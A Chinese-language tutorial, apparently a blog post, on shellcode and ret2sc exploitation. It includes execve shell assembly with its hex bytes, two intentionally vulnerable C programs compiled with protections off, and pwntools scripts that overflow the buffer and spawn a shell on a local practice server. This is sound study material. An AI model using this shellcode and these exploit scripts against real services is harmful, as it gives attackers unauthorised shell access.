自上一篇介紹 Buffer OverFlow 的實作後,接著往更深入的點探討 Shellcode 的利用方式,其利用方式也需要一些 BOF 的底子,此外也需要一些條件來達成,該文會逐一介紹相關的防禦機制,以及帶入實作來學習。
目錄
先備知識
SC 的運行原理,文章的開頭有提到需要一些先備的條件,例如需要同時「可寫、可執行」的環境,原因在於,需要將經作策畫的 SC 寫入可執行的區段,再透過 Buffer Overflow 蓋 RET 的位址,進而轉跳至 SC 存放點,由於 x86 的機制,只要 RIP 位址指向的是一段 OP Code 就會執行。
首先還是要了解一下什麼是 Shellcode,直接看以下的例子吧。
組合語言
以下的組合語言會執行 execveat("/bin//sh")
的動作,簡單的說就是開一個 Shell。
push 0x42
pop rax
inc ah
cqo
push rdx
movabs rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rsi
mov r8, rdx
mov r10, rdx
syscall
Source: http://shell-storm.org/shellcode/files/shellcode-905.php
機械碼
如果將以上的組合語言轉換成 16 進制的機械碼,Shellcode 就會變成以下的形式。
Raw Hex (zero bytes in bold):
6A4258FEC448995248BF2F62696E2F2F736857545E4989D04989D20F05
String Literal:
"\x6A\x42\x58\xFE\xC4\x48\x99\x52\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5E\x49\x89\xD0\x49\x89\xD2\x0F\x05"
Array Literal:
{ 0x6A, 0x42, 0x58, 0xFE, 0xC4, 0x48, 0x99, 0x52, 0x48, 0xBF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x2F, 0x73, 0x68, 0x57, 0x54, 0x5E, 0x49, 0x89, 0xD0, 0x49, 0x89, 0xD2, 0x0F, 0x05 }
總結先備知識
以上的例子是透過 SC 開啟一個 Shell,但仔細思考一下,這樣的行為不就是在別的程式上寫自己的程式碼? 所以可以操作的行為不僅僅是單純開 Shell,還可以用於特定操作,例如:獲取 Root 權限、讀檔、寫檔、新增使用者等…。
環境建置
該實驗環境有稍作改變,其原因在本文下方「遇到困難」有針對原因加以解釋,環境從 WSL(Windows Subsystem for Linux) 變更為 Virtual Machine。
關於 Virtual Machine,不論是使用 Virtual Box、VMware、還是 ESXi 都無所謂,只要可以裝上 Linux 即可,該篇還是使用 Ubuntu 版本為 16.04。
需要套件依然是 PwnTools、PEDA,Buffer OverFlow 一文中,有提及如何安裝。
該實驗的目的是學習使用 PwnTools,自動產生可以取得 Shell 的 SC Payload,並再實驗中取得 Shell,並且準備兩個雷同的例子「ret2sc」、「shellcode」。
PwnTools ASM
該提要使用 PwnTools 來產生 SC,所以在開始之前,先解釋一下用法。
連線方式
ip = "127.0.0.1"
port = 8888
r = remote(ip, prot)
自動產生 SC
context(arch = 'amd64', os = 'linux')
shellcode = asm(shellcraft.amd64.linux.sh())
如果要手動編寫 SC 依照自己的需求進行調整,可以參考官方文件: http://docs.pwntools.com/en/stable/asm.html
程式碼(ret2sc)
#include<stdio.h>
char name[36];
void main(){
char buffer[24];
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Input Your Name: ");
read(0, &name, 50);
printf("Show Your Skill: ");
gets(&buffer);
}
程式碼(shellcode)
#include <stdio.h>
int main(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char buf[112];
printf("Your address of input buffer is %p\n", &buf);
read(0, &buf, 128);
return 0;
}
編譯
兩個例題的編譯方式相同,編譯語法如下,其參數是把所有防護都關閉了。
gcc <source.c> -o <binary> -fno-stack-protector -zexecstack -no-pie -z execstack
如果懶惰,也提供編譯好的檔案在此(含答案):點我下載。
Pwd:
ByMksYi
sha1:
0C3A0C8612CE2F0A0A4DFD02564C676CB6482414
sha256:
F6937BD994EE9EF47104DDB3A27906F24B5075B659A4B5883FBCEE1D43058C7E
ncat
這部分也使用 ncat 來把題目丟上 socket,來模擬真實的 CTF 環境,以下為參考指令。
架設:
ncat -vc $binary -kl $ip $port
連線:
nc $ip $port
解題(ret2sc)
該題有兩個 Input,從原始碼上可以看到 name
、buffer
兩個,其中 name
為全域變數,所以資料存放在 BSS 區段,而 Buffer 則是在 Stack 上。
首先可以使用 objdump 檢視反組譯後的結果。
objdump -M intel -d ret2sc | less
可以發現 0x4006ce
該行 OP Code,把 0x601080
丟到 esi
,可以確認為 read
的參數,也就是掌握了變數 name
在 BSS 上的位置。
有了這個線索可以擬定的戰略如下。
- name => shell_code
- buffer => BOF 把 RET 蓋為
0x601080
由於 name
的大小有 36 bytes,所以 Pwntools 內建的 SC 綽綽有餘,僅有 24 bytes,接著就是要 buffer 要蓋到 RET 需要多少個 bytes。
計算 Buffer 可以先觀察到 0x40067A
該行的 OP Code,可以得到區域變數大小為 0x20(16*2 = 24),接著加上 8 bytes 的 RBP,隨後就是 RET Address 的 8 bytes。
buffer = 24 + 8(RBP) + 8(ret address)
但實際執行卻出現了些問題,並沒有精確的蓋到 RET,原因還是丟掉 GDB 上跑一次才知道,試著丟出長度為 24 bytes 大小的 Payload 並觀察,預計下 8 個 bytes 為 RBP,但實際上是下 16 個 bytes 才是 RBP 下 24 個 bytes 才是 RET。
所以確切要蓋的長度為 32 bytes + 8 bytes(RBP)+ 8 bytes(RET)。
建構出的 Payload 如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
ip = '127.0.0.1'
prot = 8888
r = remote(ip, prot)
#r = process("./ret2sc")
context(arch = 'amd64', os = 'linux')
shellcode = asm(shellcraft.amd64.linux.sh())
r.recvuntil("Input Your Name: ")
r.sendline(shellcode)
r.recvuntil("Show Your Skill: ")
r.sendline(b"A"*32 + b"x" * 8 + p64(0x601080))
r.interactive()
解題(shellcode)
該題執行後,會丟一出 Buffer 的記憶體位置,由於該位置每次執行都是隨機的,所以為了讓練習更為順利,直接將 Buffer 的位置印出來,好方便後續的練習。
首先與 ret2sc
一樣,已經知道目標位置了,接著就是算 Buffer 要怎麼蓋到 RET。
一樣可以透過 objdump 進行觀察區域變數的大小,這邊得到 0x70(7*16=112),接著再加上 RBP 的 8 bytes 為 120,所以總結是 120 + ret address。
已知 PwnTools 自動產生的 SC 大小為 24,所以 112 – 24 = 88,使用 SC 僅要補足 88 bytes 就可以滿足條件。
SC(24 bytes) + A(88 bytes) + RBP(8 bytes) + RET Address(8 bytes)
邏輯搞懂後就可以開始解題,可以沿用 ret2sc 的解答稍作變更,主要比較麻煩的地方在於,需要讀取伺服器丟回來的字串,並且擷取那關鍵的 Buffer 的記憶體位置,隨後當成 Payload 丟回伺服器。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
ip = '127.0.0.1'
prot = 8888
r = remote(ip, prot)
#r = process("./shellcode")
context(arch = 'amd64', os = 'linux')
shellcode = asm(shellcraft.amd64.linux.sh())
data = r.recv()
address = data.replace(b'Your address of input buffer is ', b'')
address = address.replace(b'\n', b'')
address = address.decode("utf-8")
address = int(address[2:], 16)
r.sendline(shellcode + (b"A" * 88) + (b"x" * 8) + p64(address))
r.interactive()
遇到問題
在 Windows 底下的 WLS 可能有做一些保護機制,在 WLS 的環境下,Binary 的 Stack 會屬於可寫、不可執行的狀態,即使關閉了 NX 也一樣,以下有 WLS 與 Virtual 環境下的對照,可以發現 Stack 的部分在虛擬環境下,變成了可讀可寫可執行。
WLS
Virtual (VMWare Ubuntu 16.04)
備註及參考資料
如果對於 SC 利用的文章有興趣的話可以參考:緩衝區溢位攻擊之二(Buffer Overflow),該篇文章真的寫得很淺顯易懂,也讓我學習之路順暢許多。
同時也感謝張元大大,給予一些疑難雜症的協助。